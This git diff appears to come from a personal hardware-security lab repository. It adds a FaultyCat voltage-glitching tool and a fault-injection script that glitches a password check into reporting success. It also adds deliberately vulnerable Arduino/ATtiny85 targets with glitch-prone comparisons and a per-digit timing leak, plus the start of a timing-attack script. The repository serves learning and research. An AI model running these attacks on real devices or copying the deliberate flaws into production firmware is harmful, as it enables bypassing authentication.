+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
new file mode 100644
index 0000000..184f47e
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
new file mode 100644
index 0000000..5855b9c
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
@@ -0,0 +1,200 @@
+import sys
+import time
+import pexpect  # Required to handle screen sessions
+import threading
+from Modules import Worker
+
+DEFAULT_COMPORT = "/dev/ttyACM0"
+SCREEN_NAME = "ttyUSB0_screen"  # Replace this with the actual screen session name
+
+# Initialize the FaultyWorker
+faulty_worker = Worker.FaultyWorker()
+# Shared variable to store the response from the device
+device_response = None
+child = None  # Global child variable
+
+def initialize_child():
+    """Initialize the global child process for the screen session."""
+    global child
+    child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8')
+    child.expect(pexpect.TIMEOUT, timeout=1)  # Clear out any pre-existing buffer
+
+def send_test_message_and_read_response():
+    """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'."""
+    global child
+
+    # Send 'ping' to the screen session
+    child.sendline("ping")
+    sys.stdout.write("\rSent 'ping' to screen session.")
+    sys.stdout.flush()
+
+    # Wait a bit to ensure the command is processed
+    time.sleep(0.5)  
+
+    # Try reading any new output from the screen session
+    try:
+        response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+        if "pong" in response:
+            sys.stdout.write("\rReceived 'pong' response.")
+            return True
+        else:
+            sys.stdout.write(f"\rReceived unexpected response: {response}")
+        sys.stdout.flush()
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+
+    return False
+
+def read_screen_output():
+    """Read output from the screen session in a separate thread."""
+    global device_response
+    buffer = ""  # Initialize a buffer to store incoming characters
+
+    try:
+        while True:
+            response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+            buffer += response  # Append the new response to the buffer
+            
+            # Check if there's a complete line in the buffer
+            while "\n" in buffer:
+                line, buffer = buffer.split("\n", 1)  # Split the buffer at the first newline
+                line = line.strip()  # Remove any leading/trailing whitespace
+
+                # Check for specific responses
+                if "incorrect!" in line:
+                    #sys.stdout.write("\rReceived 'incorrect' response.")
+                    device_response = 'incorrect'
+                    return  # Exit the loop on incorrect response
+                elif "correct" in line:
+                    # Die here: Echo message, disarm device, and kill the program
+                    sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n")
+                    sys.stdout.flush()
+
+                    # Disarm the board
+                    faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+                    faulty_worker.board_uart.close()
+
+                    # Exit the program
+                    sys.exit(0)
+
+                else:
+                    sys.stdout.write(f"\rReceived unexpected response: {line}")
+                    sys.stdout.flush()
+
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError reading from screen session: {e}")
+        sys.stdout.flush()
+
+def send_pulse_and_check_response():
+    """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel."""
+    global device_response
+    try:
+        # Wait a bit to ensure the command is processed
+          
+
+        # Send 'incorrectPassword' command to the screen session
+        sys.stdout.write("\rSending 'incorrectPassword' to screen session.")
+        sys.stdout.flush()
+        child.sendline("incorrectPassword")
+        
+        time.sleep(0.35)
+
+        # Send 'pulse' command (simulating the pulse trigger)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+        sys.stdout.write("\rSent pulse...")
+        sys.stdout.flush()
+
+        # Start a thread to read the screen output
+        reader_thread = threading.Thread(target=read_screen_output)
+        reader_thread.start()
+
+        # Wait for the reading thread to complete
+        reader_thread.join()
+        
+    except Exception as e:
+        sys.stdout.write(f"\rError interacting with screen session during pulse: {e}")
+        sys.stdout.flush()
+        return False
+
+def start_faulty_attack():
+    """Send a pulse through the FaultyCat and listen for the response concurrently."""
+    global child
+    try:
+        # Initialize the child process for screen session
+        initialize_child()
+
+        # Open FaultyCat connection
+        faulty_worker.board_uart.open()
+        time.sleep(0.1)
+        sys.stdout.write("\rBoard connected.\n")
+        sys.stdout.flush()
+
+        # Arming the board
+        sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        time.sleep(1)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+
+        sys.stdout.write("\r[*] ARMED BOARD.\n")
+        sys.stdout.flush()
+        time.sleep(1)
+
+        # Sending pulses and checking responses in a loop (up to 5 times)
+        max_iterations = 5
+        for i in range(max_iterations):
+            sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n")
+            sys.stdout.flush()
+
+            # Send the test message and check for pong
+            if send_test_message_and_read_response():
+
+                max_iterations_2 = 3
+                for j in range(max_iterations_2):
+                    # Send pulse and check for correct/incorrect response
+                    if send_pulse_and_check_response():
+                        break  # Break the loop if 'correct!' is received
+
+            # Small delay before next iteration
+            time.sleep(1)
+
+        # Disarm the board
+        sys.stdout.write("\rDISARMING BOARD.                          \n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        faulty_worker.board_uart.close()
+        sys.stdout.write("\rBOARD DISARMED.\n")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError: {e}\n")
+        sys.stdout.flush()
+    finally:
+        # Make sure to clean up the child process
+        if child:
+            child.close()
+
+def faulty():
+    """Configure and send pulses through the FaultyCat."""
+    comport = DEFAULT_COMPORT
+
+    print("Configuring the FaultyCat...")
+    print(f"Using serial port: {comport}")
+
+    # Set the serial port
+    faulty_worker.set_serial_port(comport)
+
+    # Validate the serial connection
+    if not faulty_worker.validate_serial_connection():
+        print(f"Error: Could not establish connection on: {comport}")
+        return
+
+    # Start the faulty attack (send pulse)
+    start_faulty_attack()
+
+if __name__ == "__main__":
+    print("Starting FaultyCat...")
+    faulty()
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
new file mode 100644
index 0000000..ec5db1f
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
@@ -0,0 +1,83 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+const String correctPassword = "secure123";  // Hardcoded password
+String inputString = "";                     // Variable to hold user input
+bool stringComplete = false;                 // Flag to indicate when a string is complete
+bool loggedIn = false;
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(200);  // Delay for initialization
+  Serial.print("[-]> ");
+}
+
+void prompt(){
+  // Reset for the next input without checking password
+  inputString = "";
+  stringComplete = false;
+  if(loggedIn == false){
+    Serial.print("[-]"); // not logged in 
+  }else{
+    Serial.print("[+]"); // logged in
+  }
+  Serial.print("> ");
+}
+
+void loop() {
+  // If the string is complete, process the input
+  if (stringComplete) {
+    // Glitch-prone section: making the comparison more complex and glitch-susceptible
+    volatile bool match = false;  // Using 'volatile' to increase glitch vulnerability
+    
+    // Introduce some artificial delays (vulnerable points for glitching)
+    for (volatile int i = 0; i < 100; i++) {
+      delayMicroseconds(1);  // Short delay to give more opportunity for glitches
+    }
+    
+    // Dummy operation: XOR password with itself (reversible) before comparison
+    volatile String tempPassword = correctPassword;
+    for (int i = 0; i < tempPassword.length(); i++) {
+      tempPassword[i] ^= 0xFF;  // XOR with 0xFF (dummy operation to increase complexity)
+      tempPassword[i] ^= 0xFF;  // XOR back to restore original password
+    }
+
+    // Check if input is "ping"
+    if (inputString == "ping") {
+      Serial.println("pong");  // Respond with "pong" if input is "ping"
+      prompt();
+      return;  // Exit the loop to avoid further processing (no "Password incorrect!" after "pong")
+    }
+    // Now compare the user input with the hardcoded password, but with timing window
+    else if (inputString == correctPassword) {
+      match = true;  // Passwords match
+    }
+
+    // Add a chance for glitches to affect this critical condition
+    if (match) {
+      Serial.println("Password correct!");
+      loggedIn = true;
+    } else {
+      Serial.println("Password incorrect!");
+    }
+    prompt();
+  }
+
+  // Listen for input from the user
+  while (Serial.available()) {
+    char inChar = (char)Serial.read();  // Read the incoming character
+    
+    // Check if it is the return character (indicating the end of input)
+    if (inChar == '\r' || inChar == '\n') {
+      stringComplete = true;
+    } else {
+      // Append the character to the input string
+      inputString += inChar;
+    }
+  }
+}
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
new file mode 100644
index 0000000..05d97a6
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
new file mode 100644
index 0000000..0aacecf
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
@@ -0,0 +1,80 @@
+import cmd
+import typer
+from rich.console import Console
+from rich.table import Table
+
+
+def is_valid_number(number):
+    if number < 0:
+        raise typer.BadParameter("Number must be positive.")
+    return number
+
+class CMDInterface(cmd.Cmd):
+    intro = "Type help or ? to list commands.\n"
+    prompt = "?> "
+    file = None
+    doc_header = "Commands"
+    misc_header = "Misc Commands"
+    undoc_header = "Undocumented Commands"
+
+    def __init__(self, faulty_worker):
+        super().__init__()
+        self.faulty_worker = faulty_worker
+
+    def do_config(self, args):
+        """Configure the FaultyCat."""
+        print("Configuring the FaultyCat...")
+        table_config = Table(title="Board configuration")
+        table_config.add_column("Parameter", style="cyan")
+        table_config.add_column("Value", style="magenta")
+        table_config.add_row(
+            "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}"
+        )
+        table_config.add_row(
+            "Pulse time",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}",
+        )
+        table_config.add_row(
+            "Pulse power",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}",
+        )
+        table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}")
+        Console().print(table_config)
+
+    def do_set(self, args):
+        """Set a parameter."""
+        print("Setting a parameter...")
+        args_list = args.split()
+        if args == "help" or args == "?":
+            print("Available parameters:")
+            print("\t[time] pulse_time")
+            print("\t[count] pulse_count")
+            print("\tport")
+            return
+
+        if len(args_list) != 2:
+            print("Invalid number of arguments.")
+            return
+
+        if args_list[0] == "pulse_time" or args_list[0] == "time":
+            self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1])))
+
+        if args_list[0] == "pulse_count" or args_list[0] == "count":
+            self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1])))
+
+        if args_list[0] == "port":
+            self.faulty_worker.set_serial_port(args_list[1])
+            if not self.faulty_worker.validate_serial_connection():
+                typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED)
+                return
+
+        self.do_config(args)
+
+    def do_start(self, args):
+        """Start the FaultyCat."""
+        print("Starting the FaultyCat...")
+        self.faulty_worker.start_faulty_attack()
+
+    def do_exit(self, line):
+        """Exit the CLI."""
+        return True
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
new file mode 100644
index 0000000..f795f79
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
@@ -0,0 +1,61 @@
+from enum import Enum
+
+class Commands(Enum):
+    COMMAND_HELP              = "h"
+    COMMAND_ARM               = "a"
+    COMMAND_DISARM            = "d"
+    COMMAND_PULSE             = "p"
+    COMMAND_ENABLE_TIMEOUT    = "en"
+    COMMAND_DISABLE_TIMEOUT   = "di"
+    COMMAND_FAST_TRIGGER      = "f"
+    COMMAND_FAST_TRIGGER_CONF = "fa"
+    COMMAND_INTERNAL_HVP      = "ih"
+    COMMAND_EXTERNAL_HVP      = "eh"
+    COMMAND_CONFIGURE         = "c"
+    COMMAND_TOGGLE_GPIO       = "t"
+    COMMAND_STATUS            = "s"
+    COMMAND_RESET             = "r"
+    
+    def __str__(self):
+        return self.value
+
+class BoardStatus(Enum):
+    STATUS_ARMED          = "armed"
+    STATUS_DISARMED       = "disarmed"
+    STATUS_CHARGED        = "charged"
+    STATUS_PULSE          = "pulsed"
+    STATUS_NOT_CHARGED    = "Not Charged"
+    STATUS_TIMEOUT_ACTIVE = "Timeout active"
+    STATUS_TIMEOUT_DEACT  = "Timeout deactivated"
+    STATUS_HVP_INTERVAL   = "HVP interval"
+    
+    def __str__(self):
+        return self.value
+    
+    @classmethod
+    def get_status_by_value(cls, value):
+        for status in cls.__members__.values():
+            if status.value == value:
+                return status
+        return None
+
+class ConfigBoard:
+    BOARD_CONFIG = {
+        "pulse_time" : 1.0,
+        "pulse_power": 0.012200,
+        "pulse_count": 1,
+        "port"       : "COM1"
+    }
+    def __init__(self) -> None:
+        self.board_config = ConfigBoard.BOARD_CONFIG
+        self.board_commands = Commands
+    
+    def get_config(self) -> dict:
+        return self.board_config
+
+    def set_config(self, config: dict) -> None:
+        self.board_config = config
+    
+    def __str__(self) -> str:
+        return f"Board config: {self.board_config}"
+    
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
new file mode 100644
index 0000000..3fd677f
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
@@ -0,0 +1,97 @@
+import platform
+import serial
+import time
+import serial.tools.list_ports
+import threading
+
+from  .ConfigBoard import BoardStatus
+
+if platform.system() == "Windows":
+    DEFAULT_COMPORT = "COM1"
+else:
+    DEFAULT_COMPORT = "/dev/ttyACM0"
+
+DEFAULT_SERIAL_BAUDRATE = 921600
+
+class UART(threading.Thread):
+    def __init__(self, serial_port: str = DEFAULT_COMPORT):
+        self.serial_worker          = serial.Serial()
+        self.serial_worker.port     = serial_port
+        self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE
+        self.recv_cancel            = False
+        #self.daemon                 = True
+
+    def __del__(self):
+        self.serial_worker.close()
+
+    def __str__(self):
+        return f"Serial port: {self.serial_worker.port}"
+
+    def set_serial_port(self, serial_port: str):
+        self.serial_worker.port = serial_port
+    
+    def set_serial_baudrate(self, serial_baudrate: int):
+        self.serial_worker.baudrate = serial_baudrate
+
+    def is_valid_connection(self) -> bool:
+        try:
+            self.open()
+            self.close()
+            return True
+        except serial.SerialException as e:
+            return False
+
+    def get_serial_ports(self):
+        return serial.tools.list_ports.comports()
+
+    def reset_buffer(self):
+        self.serial_worker.reset_input_buffer()
+        self.serial_worker.reset_output_buffer()
+
+    def cancel_recv(self):
+        self.recv_cancel = True
+
+    def open(self):
+        self.serial_worker.open()
+        self.reset_buffer()
+    
+    def close(self):
+        self.reset_buffer()
+        self.serial_worker.close()
+
+    def is_connected(self):
+        return self.serial_worker.is_open
+
+    def send(self, data):
+        self.serial_worker.write(data)
+        self.serial_worker.write(b"\n\r")
+        self.serial_worker.flush()
+    
+    def recv(self):
+        if not self.is_connected():
+            self.open()
+        try:
+            while not self.recv_cancel:
+                time.sleep(0.1)
+                
+                bytestream = self.serial_worker.readline()
+                if self.recv_cancel:
+                    self.recv_cancel = False
+                    return None
+                return bytestream
+        except serial.SerialException as e:
+            print(e)
+            return None
+        except KeyboardInterrupt:
+            self.recv_cancel = True
+            return None
+    
+    def send_recv(self, data):
+        self.send(data)
+        return self.recv()
+
+    def stop_worker(self):
+        self.recv_cancel = True
+        self.reset_buffer()
+        self.close()
+        self.join()
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
new file mode 100644
index 0000000..0bb2e54
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
@@ -0,0 +1,68 @@
+import threading
+import time
+import typer
+from rich.console import Console
+from rich.table import Table    
+
+from .UART import UART
+from .ConfigBoard import ConfigBoard
+
+class FaultyWorker(threading.Thread):
+    def __init__(self):
+        super().__init__()
+        #self.daemon = True
+        self.workers = []
+        self.board_uart = UART()
+        self.board_configurator = ConfigBoard()
+        self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"]   
+        self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"]
+    
+    def add_worker(self, worker):
+        self.workers.append(worker)
+    
+    def stop_workers(self):
+        for worker in self.workers:
+            worker.join()
+    
+    def run_workers(self):
+        for worker in self.workers:
+            worker.start()
+    
+    def set_serial_port(self, serial_port):
+        self.board_uart.set_serial_port(serial_port)
+    
+    def validate_serial_connection(self):
+        return self.board_uart.is_valid_connection()
+    
+    def set_pulse_count(self, pulse_count):
+        self.pulse_count = pulse_count
+        self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count
+    
+    def set_pulse_time(self, pulse_time):
+        self.pulse_time = pulse_time
+        self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time
+    
+    def start_faulty_attack(self):
+        try:
+            self.board_uart.open()
+            time.sleep(0.1)
+            typer.secho("Board connected.", fg=typer.colors.GREEN)
+            typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            time.sleep(1)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+            
+            typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN)
+            time.sleep(1)
+            typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN)
+            for i in range(self.pulse_count):
+                typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN)
+                self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+                time.sleep(self.pulse_time)
+            
+            typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            self.board_uart.close()
+            typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW)
+        except Exception as e:
+            typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED)
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
new file mode 100644
index 0000000..f503922
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc
new file mode 100644
index 0000000..b36d3c6
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc
new file mode 100644
index 0000000..34c38f2
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc
new file mode 100644
index 0000000..a34e25d
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc
new file mode 100644
index 0000000..127e108
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/faultycmd.py b/FaultInjection/prereqs/FaultyCat/faultycmd.py
new file mode 100644
index 0000000..3831eec
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/faultycmd.py
@@ -0,0 +1,133 @@
+import typer
+import platform
+import signal
+import threading
+import sys
+from rich.console import Console
+from rich.table import Table
+
+from Modules import CmdInterface
+from Modules.CmdInterface import is_valid_number
+from Modules import Worker
+
+if platform.system() == "Windows":
+    DEFAULT_COMPORT = "COM1"
+else:
+    DEFAULT_COMPORT = "/dev/ttyACM0"
+
+
+app = typer.Typer(
+    name="FaultyCat",
+    help="Script to control the FaultyCat and launch faulty attacks.",
+    add_completion=False,
+    no_args_is_help=True,
+)
+
+faulty_worker = Worker.FaultyWorker()
+workers = []
+
+
+def signal_handler(sig, frame):
+    print("You pressed Ctrl+C!")
+    faulty_worker.stop_workers()
+    for work in workers:
+        work.join()
+    sys.exit(0)
+
+
+@app.command("config")
+def config():
+    """Get the current configuration of the FaultyCat."""
+    table_config = Table(title="Board configuration")
+    table_config.add_column("Parameter", style="cyan")
+    table_config.add_column("Value", style="magenta")
+    table_config.add_row(
+        "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}"
+    )
+    table_config.add_row(
+        "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}"
+    )
+
+    Console().print(table_config)
+
+
+@app.command("devices")
+def devices():
+    """Get the list of available devices."""
+    table_devices = Table(title="Available devices")
+    table_devices.add_column("Device", style="cyan")
+    table_devices.add_column("Description", style="magenta")
+    for device in faulty_worker.board_uart.get_serial_ports():
+        table_devices.add_row(f"{device.device}", f"{device.description}")
+
+    Console().print(table_devices)
+
+
+@app.command("fault")
+def faulty(
+    comport: str = typer.Argument(
+        default=DEFAULT_COMPORT,
+        help="Serial port to use for uploading.",
+    ),
+    pulse_count: int = typer.Option(
+        1, "--pulse-count", "-p", help="Number of pulses to send.", show_default=True
+    ),
+    pulse_timeout: float = typer.Option(
+        1.0,
+        "--pulse-timeout",
+        "-t",
+        help="Time in seconds between pulses.",
+        show_default=True,
+    ),
+    cmd: bool = typer.Option(
+        False, "--cmd", "-c", help="Launch the CMD Interface.", show_default=True
+    ),
+):
+    """Setting up the FaultyCat. With this command you can configure the FaultyCat and launch faulty attacks."""
+    typer.echo("Configuring the FaultyCat...")
+    table_config = Table(title="Board configuration")
+    table_config.add_column("Parameter", style="cyan")
+    table_config.add_column("Value", style="magenta")
+    table_config.add_row("Serial port", f"{comport}")
+    table_config.add_row(
+        "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}"
+    )
+    table_config.add_row(
+        "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}"
+    )
+    table_config.add_row("Pulse count", f"{pulse_count}")
+    table_config.add_row("Pulse timeout", f"{pulse_timeout}")
+
+    Console().print(table_config)
+
+    faulty_worker.set_serial_port(comport)
+    
+    if cmd:
+        CmdInterface.CMDInterface(faulty_worker).cmdloop()
+        return
+
+    if not faulty_worker.validate_serial_connection():
+        typer.secho(
+            f"FaultyCMD could not stablish connection withe the board on: {comport}.",
+            fg=typer.colors.RED,
+        )
+        return
+
+    faulty_worker.set_pulse_count(is_valid_number(pulse_count))
+    faulty_worker.set_pulse_time(is_valid_number(pulse_timeout))
+
+    faulty_worker.start_faulty_attack()
+
+
+if __name__ == "__main__":
+    print(
+        """\x1b[36;1m
+.@@@%@*%+ -@@+  #@@:  @@% =@@@@%- %@% %+            @=           | 
+.@@-.-.#@+=@@*  %@@- .@@@.@@%:@@@ @@@ %+     :+++-  @*+++-       | FaultyCat v0.0.1
+.@*.=.+@@:=@@*  %@@- .@@@.@@% @@@ @@@ %+    #%:.:## @%:.:##      | by JahazielLem
+.@@%*+*=. :@@%==@@@#-*@@#.@@% @@@-@@@ %+    @+   =@.@+   =@.     | Company: PWNLabs - Electronics Cats
+%@%       :#@@@%*#@@@%+  %@* :#@@@#: =%#**=.*####@..*####:       |                                                    
+\x1b[0m"""
+    )
+    signal.signal(signal.SIGINT, signal_handler)
+    app()
diff --git a/FaultInjection/prereqs/FaultyCat/requirements.txt b/FaultInjection/prereqs/FaultyCat/requirements.txt
new file mode 100644
index 0000000..5ffdc64
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/requirements.txt
@@ -0,0 +1,9 @@
+click==8.1.7
+colorama
+markdown-it-py
+mdurl
+Pygments==2.17.2
+pyserial
+rich==13.7.0
+typer==0.9.0
+typing_extensions
diff --git a/README.md b/README.md
deleted file mode 100644
index 5ca94a8..0000000
--- a/README.md
+++ /dev/null
@@ -1,4 +0,0 @@
-Hardware
-===============
-
-A place for me to store my hardware experiments and scripts and useful tidbits
\ No newline at end of file
diff --git a/SideChannel/ATtiny85_Timing_Attack/4_digit.ino b/SideChannel/ATtiny85_Timing_Attack/4_digit.ino
new file mode 100644
index 0000000..53839d4
--- /dev/null
+++ b/SideChannel/ATtiny85_Timing_Attack/4_digit.ino
@@ -0,0 +1,103 @@
+#include <avr/sleep.h>
+#include <avr/interrupt.h>
+#include <SoftwareSerial.h>
+ 
+const int rx = 1;  // for serial input
+const int tx = 4;   // pin 5 for serial.print()
+SoftwareSerial Serial(rx, tx);  // rx, tx pins
+
+int rgLed = 2;  // red/green LED pin
+int button = 3; // buttons pin
+int buttonValue; // Stores analog value when button is pressed
+
+String ourCode = "1324";      // Set the required PIN code.
+String currentCode = "";      // Stores entered code
+
+void setup() {
+  pinMode(rgLed, INPUT);
+  pinMode(rx, INPUT); // setup and print to serial
+  pinMode(tx, OUTPUT);
+  Serial.begin(9600);
+  Serial.println("Running");
+
+  red(500);
+  green(500);
+}
+
+#pragma GCC push_options
+#pragma GCC optimize ("O0")  // Disable optimisations
+
+void addkey(String keyPressed) {
+  currentCode += keyPressed;
+  Serial.println("Entered so far: " + currentCode);
+  
+  if (currentCode.length() == ourCode.length()) {
+    Serial.print("Checking: ");
+    volatile bool correct = true;
+        
+    for (int i = 0; i < ourCode.length(); i++) {
+      if (currentCode[i] != ourCode[i]) {
+        correct = false;
+        break;
+      }
+      
+      do_login();
+    }
+    
+    if (correct) {
+      Serial.println("correct");
+      green(500);
+      delay(500);
+      green(500);
+      delay(500);
+      green(500);
+    } else {
+      Serial.println("failed");
+      red(500);
+    }
+    currentCode = ""; // Reset the entered code
+  }
+}
+
+#pragma GCC pop_options
+
+void green(int del) { // turn on green LED for delay()
+  pinMode(rgLed, OUTPUT);
+  analogWrite(rgLed, HIGH);
+  delay(del);
+  pinMode(rgLed, INPUT);
+}
+
+void red(int del) { // turn on red LED for delay()
+  pinMode(rgLed, OUTPUT);
+  analogWrite(rgLed, 255);
+  delay(del);
+  pinMode(rgLed, INPUT);
+}
+
+void do_login(){
+  delay(5);
+}
+
+void loop() {
+  buttonValue = analogRead(button); // Read analog value from A0 pin
+  
+  if (buttonValue >= 1015 && buttonValue <= 1030) { // For 1st button:
+    addkey("1");
+  } else if (buttonValue >= 1000 && buttonValue <= 1014) { // For 2nd button:
+    addkey("2");
+  } else if (buttonValue >= 950 && buttonValue <= 999) { // For 3rd button:
+    addkey("3");
+  } else if (buttonValue >= 870 && buttonValue <= 950) { // For 4th button:
+    addkey("4");
+  }
+  
+  if (Serial.available()) { // Check if data is available from Serial input
+    char key = Serial.read(); // Read the character
+    if (key >= '1' && key <= '4') { // Ensure input is a valid key
+      addkey(String(key));
+    }
+  }
+  
+  delay(100);
+}
diff --git a/SideChannel/ATtiny85_Timing_Attack/4_digit_attack.py b/SideChannel/ATtiny85_Timing_Attack/4_digit_attack.py
new file mode 100644
index 0000000..e01eeb2
--- /dev/null
+++ b/SideChannel/ATtiny85_Timing_Attack/4_digit_attack.py
@@ -0,0 +1,115 @@
+import serial
+import time
+
+# Constants
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+PREFIX = ""
+ATTEMPTS = 3
+DELAY = 0.8
+KEYSPACE = ["1", "2", "3", "4"]
+LENGTH = 4
+
+def get_response_time(serial_port, message):
+    """
+    Function to send message, wait for response, and measure response time.
+    """
+    # Flush the input buffer to clear any leftover data
+    serial_port.flushInput()
+
+    first_line_received = False
+
+    # Send each character in the message with a delay
+    for i, char in enumerate(message):
+        time.sleep(DELAY)  # Delay before sending the character
+        serial_port.write(char.encode())  # Send one character at a time
+        #print(f"sending: {char}")
+        if i < len(message)-1:
+            #print(f"reading")
+            raw_response = serial_port.readline()
+
+    # After sending all characters, we will read until we get the first line (complete response)
+    raw_response = b''  # Initialize the response variable
+
+    while True:
